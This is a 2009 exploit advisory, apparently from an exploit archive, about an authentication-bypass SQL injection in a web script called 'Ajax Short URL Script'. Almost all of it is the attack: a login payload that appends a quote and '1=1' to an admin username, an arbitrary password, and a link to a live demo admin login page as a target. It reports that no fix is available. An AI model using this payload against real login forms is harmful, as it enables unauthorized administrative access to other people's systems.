Ajax Short URL Script (Auth Bypass) SQL Injection Vulnerability

2009-08-03 17:35:07

[-] Discovered By: Cicklow
[-] Date: 03.08.2009

Exploit:

username: [real_admin_name] ' or ' 1=1
password: cicklow

note: generally admin name: admin
or any user

Buy Script: http://junglescripts.com/short_urls.php
Admin login Demo: http://href.in/x/login

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.